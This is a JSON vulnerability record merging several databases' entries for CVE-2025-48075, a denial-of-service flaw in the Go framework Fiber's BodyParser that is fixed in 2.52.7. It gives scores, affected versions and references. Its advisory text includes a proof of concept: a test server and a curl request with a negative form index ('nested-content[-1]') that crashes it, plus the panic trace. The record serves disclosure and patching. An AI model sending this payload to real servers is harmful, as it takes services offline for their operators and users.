{"id":"CVE-2025-48075","aliases":["CVE-2025-48075","GHSA-hg3g-gphw-5hhm","GO-2025-3706"],"related":["CGA-c4cc-grfj-5hhx"],"kind":"vulnerability","state":"published","title":"Fiber panics when fiber.Ctx.BodyParser parses invalid range index","summary":"Fiber is an Express-inspired web framework written in Go. Starting in version 2.52.6 and prior to version 2.52.7, `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, but when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser`  functionality. Version 2.52.7 fixes the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Fiber is an Express-inspired web framework written in Go. Starting in version 2.52.6 and prior to version 2.52.7, `fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, but when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. Since this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser`  functionality. Version 2.52.7 fixes the issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen using the `fiber.Ctx.BodyParser` to parse into a struct with range values, a panic occurs when trying to parse a negative range index\n\n### Details\n`fiber.Ctx.BodyParser` can map flat data to nested slices using `key[idx]value` syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data. \n\nSince this data is user-provided, this could lead to denial of service for anyone relying on this `fiber.Ctx.BodyParser`  functionality  \n\n### Reproducing\nTake a simple GoFiberV2 server which returns a JSON encoded version of the FormData\n```go\npackage main\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/gofiber/fiber/v2\"\n)\n\ntype RequestBody struct {\n\tNestedContent []*struct {\n\t\tValue string `form:\"value\"`\n\t} `form:\"nested-content\"`\n}\n\nfunc main() {\n\tapp := fiber.New()\n\n\tapp.Post(\"/\", func(c *fiber.Ctx) error {\n\t\tformData := RequestBody{}\n\t\tif err := c.BodyParser(&formData); err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn c.SendStatus(http.StatusUnprocessableEntity)\n\t\t}\n                c.Set(\"Content-Type\", \"application/json\")\n                s, _ := json.Marshal(formData)\n                return c.SendString(string(s))\n\t})\n\n\tfmt.Println(app.Listen(\":3000\"))\n}\n\n```\n\n**Correct Behaviour**\nSend a valid request such as:\n```bash\ncurl --location 'localhost:3000' \\\n--form 'nested-content[0].value=\"Foo\"' \\\n--form 'nested-content[1].value=\"Bar\"'\n```\nYou recieve valid JSON\n```json\n{\"NestedContent\":[{\"Value\":\"Foo\"},{\"Value\":\"Bar\"}]}\n```\n\n**Crashing behaviour**\nSend an invalid request such as:\n```bash\ncurl --location 'localhost:3000' \\\n--form 'nested-content[-1].value=\"Foo\"'\n```\nThe server panics and crashes\n```\npanic: reflect: slice index out of range\n\ngoroutine 8 [running]:\nreflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)\n        /usr/lib/go-1.24/src/reflect/value.go:1418 +0x167\ngithub.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})\n[...]\n```\n\n### Impact\nAnyone using `fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent","format":"markdown","source":"ghsa"},{"lang":"en","text":"Fiber panics when fiber.Ctx.BodyParser parses invalid range index in github.com/gofiber/fiber","format":"markdown","source":"go"},{"lang":"es","text":"Fiber es un framework web inspirado en Express y escrito en Go. A partir de la versión 2.52.6 y anteriores a la 2.52.7, `fiber.Ctx.BodyParser` puede asignar datos planos a segmentos anidados mediante la sintaxis `key[idx]value`. Sin embargo, cuando `idx` es negativo, genera un pánico en lugar de devolver un error que indica que no puede procesar los datos. Dado que estos datos son proporcionados por el usuario, esto podría provocar una denegación de servicio para cualquiera que dependa de esta funcionalidad de `fiber.Ctx.BodyParser`. La versión 2.52.7 soluciona este problema.","source":"nvd"}],"published":"2025-05-22T17:25:18.447Z","modified":"2026-09-10T03:50:57.551Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-129"],"affected":[{"ranges":[{"version":">= 2.52.6, < 2.52.7","status":"affected"}],"vendor":"gofiber","product":"fiber","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.52.6","status":"affected","fixed":"2.52.7"}],"ecosystem":"Go","package":"github.com/gofiber/fiber/v2","purl":"pkg:golang/github.com/gofiber/fiber/v2","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/gofiber/fiber","purl":"pkg:golang/github.com/gofiber/fiber","source":"go"},{"ranges":[{"type":"semver","introduced":"2.52.6","status":"affected","fixed":"2.52.7"}],"ecosystem":"Go","package":"github.com/gofiber/fiber/v2","purl":"pkg:golang/github.com/gofiber/fiber/v2","source":"go"},{"ranges":[{"status":"affected","introduced":"2.0.0","fixed":"2.52.7"}],"vendor":"gofiber","product":"fiber","cpe":"cpe:2.3:a:gofiber:fiber:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gofiber/fiber/security/advisories/GHSA-hg3g-gphw-5hhm","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/gofiber/fiber/commit/e115c08b8f059a4a031b492aa9eef0712411853d","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48075","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gofiber/fiber","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2025-3706","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-05-22T17:58:04.769Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-48075","url":"https://www.cve.org/CVERecord?id=CVE-2025-48075","licence":"CVE Terms of Use","modified":"2025-05-22T17:59:02.707Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hg3g-gphw-5hhm","url":"https://github.com/advisories/GHSA-hg3g-gphw-5hhm","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:57.551Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2025-3706","url":"https://pkg.go.dev/vuln/GO-2025-3706","licence":"CC-BY-4.0","modified":"2026-02-04T02:29:43.147Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-48075","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-48075","licence":"Public domain","modified":"2026-06-17T09:29:06.793Z"}],"updatedAt":"2026-11-25T22:58:58.402Z","epss":{"score":0.00827,"percentile":0.54706,"date":"2026-11-30T12:00:22.000Z"}}